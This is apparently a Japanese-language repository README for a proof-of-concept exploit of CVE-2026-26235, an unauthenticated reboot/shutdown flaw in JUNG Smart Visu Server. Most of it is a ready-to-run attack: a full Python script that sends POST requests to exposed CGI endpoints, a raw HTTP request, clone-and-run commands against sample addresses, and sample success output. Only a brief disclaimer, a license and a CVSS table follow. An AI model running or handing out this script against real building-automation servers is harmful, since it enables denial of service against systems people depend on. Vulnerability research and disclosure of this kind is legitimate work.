
CVE-2026-26235の概念実証エクスプロイト。JUNG Smart Visu Server <=1.1.1050における未認証のサービス拒否(DoS)脆弱性であり、公開されたCGIエンドポイントを介したリモートでの再起動またはシャットダウンを可能にします。
Mohammed Idrees Banyamer
CVE-2026-26235 の概念実証エクスプロイト - JUNG Smart Visu Server ≤ 1.1.1050 における認証欠如による認証不要のサービス拒否。
CVE-2026-26235 は、JUNG Smart Visu Server バージョン ≤ 1.1.1050 における認証不要のサービス拒否の脆弱性です。この製品は、重要なシステム管理機能に対して認証を実装しておらず、リモートの攻撃者が単一の POST リクエストでサーバーを再起動またはシャットダウンできるようになっています。
エンドポイント /cgi-bin/reboot.sh および /cgi-bin/shutdown.sh は、認証チェックなしで公開されています。これらのシステムレベルのコマンドを実行するために、セッショントークン、API キー、または認証情報は必要ありません。
これにより、以下が可能になります:
| ステータス | バージョン |
|---|---|
| ❌ 脆弱 | JUNG Smart Visu Server ≤ 1.1.1050 |
| ✅ パッチ適用済み | 未リリース |
テスト環境: JUNG Smart Visu Server 1.1.1050、組み込み Linux
/cgi-bin/reboot.sh および /cgi-bin/shutdown.sh が公開アクセス可能攻撃者 → POST /cgi-bin/reboot.sh → 認証チェックなし → システム再起動 → DoS
攻撃者 → POST /cgi-bin/shutdown.sh → 認証チェックなし → システムシャットダウン → DoS
#!/usr/bin/env python3
# Exploit Title: JUNG Smart Visu Server - Unauthenticated Remote Reboot/Shutdown
# CVE: CVE-2026-26235
# Date: 2026-02-12
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/banyamer-security
# Vendor Homepage: https://www.jung.de
# Software Link: https://www.jung.de/smart-visu-server
# Vulnerable: JUNG Smart Visu Server <= 1.1.1050
# Tested on: JUNG Smart Visu Server 1.1.1050
# Category: Web Application
# Platform: Embedded/Linux
# Exploit Type: Missing Authentication (CWE-306)
import requests
import sys
import argparse
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def print_banner():
print("\n" + "="*60)
print(" JUNG Smart Visu Server - Unauthenticated Reboot/Shutdown PoC")
print(" CVE-2026-26235 | CWE-306")
print("="*60 + "\n")
def exploit(target, action="reboot", verify_ssl=False, timeout=10):
endpoints = {
"reboot": "/cgi-bin/reboot.sh",
"shutdown": "/cgi-bin/shutdown.sh"
}
if action not in endpoints:
print(f"[-] Invalid action: {action}. Choose 'reboot' or 'shutdown'.")
return False
url = f"{target.rstrip('/')}{endpoints[action]}"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0",
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Cache-Control": "max-age=0",
"Origin": target.rstrip('/'),
"Referer": f"{target.rstrip('/')}/",
"DNT": "1",
"Sec-GPC": "1"
}
print(f"[*] Target : {url}")
print(f"[*] Action : {action.upper()}")
print(f"[*] SSL Verify : {verify_ssl}")
print("[*] Sending unauthenticated POST request...\n")
try:
response = requests.post(
url,
headers=headers,
data="",
verify=verify_ssl,
timeout=timeout,
allow_redirects=False
)
print(f"[+] Request sent successfully!")
print(f"[+] HTTP Status : {response.status_code}")
if response.status_code == 200:
print("[!] Server responded with 200 OK - action likely executed")
elif response.status_code == 302 or response.status_code == 301:
print("[!] Server responded with redirect - action may have been triggered")
else:
print(f"[?] Unexpected response code: {response.status_code}")
if response.text:
print(f"[*] Response preview: {response.text[:200].strip()}")
print("\n[!] If successful, the target server should now be restarting or shutting down.")
return True
except requests.exceptions.Timeout:
print("[-] Connection timeout. The server may be down or unreachable.")
print("[*] This could indicate successful DoS if the server was previously reachable.")
return True
except requests.exceptions.ConnectionError as e:
print(f"[-] Connection error: {e}")
print("[*] The server may have gone down - possibly successful exploitation.")
return True
except Exception as e:
print(f"[-] An error occurred: {e}")
return False
def main():
print_banner()
parser = argparse.ArgumentParser(
description="PoC for CVE-2026-26235 - JUNG Smart Visu Server Unauthenticated Reboot/Shutdown"
)
parser.add_argument(
"target",
help="Target server URL (e.g., https://192.168.1.100:8080)"
)
parser.add_argument(
"-a", "--action",
choices=["reboot", "shutdown"],
default="reboot",
help="Action to perform: reboot or shutdown (default: reboot)"
)
parser.add_argument(
"-k", "--insecure",
action="store_false",
dest="verify_ssl",
default=False,
help="Disable SSL certificate verification (default: disabled)"
)
parser.add_argument(
"-t", "--timeout",
type=int,
default=10,
help="Request timeout in seconds (default: 10)"
)
args = parser.parse_args()
print(f"[*] Starting exploit against: {args.target}\n")
success = exploit(
target=args.target,
action=args.action,
verify_ssl=args.verify_ssl,
timeout=args.timeout
)
if success:
print("\n[+] Exploit completed successfully.")
else:
print("\n[-] Exploit failed.")
sys.exit(1)
if __name__ == "__main__":
main()
POST /cgi-bin/reboot.sh HTTP/1.1
Host: 192.168.1.100:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Origin: http://192.168.1.100:8080
Referer: http://192.168.1.100:8080/
DNT: 1
Sec-GPC: 1
Content-Length: 0
git clone https://github.com/banyamer-security/CVE-2026-26235.git
cd CVE-2026-26235
pip install requests
chmod +x CVE-2026-26235.py
python3 CVE-2026-26235.py https://192.168.1.100:8080
python3 CVE-2026-26235.py https://192.168.1.100:8080 -a shutdown
python3 CVE-2026-26235.py https://smartvisu.local -k
python3 CVE-2026-26235.py https://192.168.1.100:8080 -t 15
python3 CVE-2026-26235.py -h
============================================================
JUNG Smart Visu Server - Unauthenticated Reboot/Shutdown PoC
CVE-2026-26235 | CWE-306
============================================================
[*] Starting exploit against: https://192.168.1.100:8080
[*] Target : https://192.168.1.100:8080/cgi-bin/reboot.sh
[*] Action : REBOOT
[*] SSL Verify : False
[*] Sending unauthenticated POST request...
[+] Request sent successfully!
[+] HTTP Status : 200
[!] Server responded with 200 OK - action likely executed
[!] If successful, the target server should now be restarting.
[+] Exploit completed successfully.
Mohammed Idrees Banyamer
この概念実証エクスプロイトは、教育目的および許可されたセキュリティテスト専用に提供されています。著者は、このソフトウェアの誤用または損害について一切の責任を負いません。
所有していない、またはテストする明示的な許可を得ていないシステムに対する無許可のテストは違法です。
MIT ライセンス
Copyright (c) 2026 Mohammed Idrees Banyamer
以下に定める条件に従い、本ソフトウェアおよび関連文書ファイル(以下「ソフトウェア」)の複製を取得するすべての人に対し、ソフトウェアを無制限に扱うことを無償で許可します。これには、ソフトウェアの複製、変更、統合、公開、配布、サブライセンス、および/または販売の権利、およびソフトウェアを提供された者にこれらのことを許可する権利が含まれますが、これらに限定されません。
上記の著作権表示およびこの許可表示は、ソフトウェアのすべての複製または重要な部分に含まれるものとします。
ソフトウェアは「現状のまま」提供され、明示的か黙示的かを問わず、商品性、特定目的への適合性、および非侵害性の保証を含むがこれらに限定されない、いかなる種類の保証もありません。いかなる場合も、著者または著作権所有者は、契約行為、不法行為、またはその他の方法にかかわらず、ソフトウェアまたはソフトウェアの使用またはその他の取引に起因または関連して生じたいかなる請求、損害、またはその他の責任も負わないものとします。
このエクスプロイトがあなたの研究やテストに役立った場合:
責任ある開示 • セキュリティ研究 • CVE-2026-26235
| ベクター | 説明 |
|---|
| CVSS v4 | 8.7 (高) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
| 認証 | なし - 完全に認証不要 |
| 攻撃ベクター | ネットワーク |
| 複雑性 | 低 |
| 影響 | 可用性への高い影響 |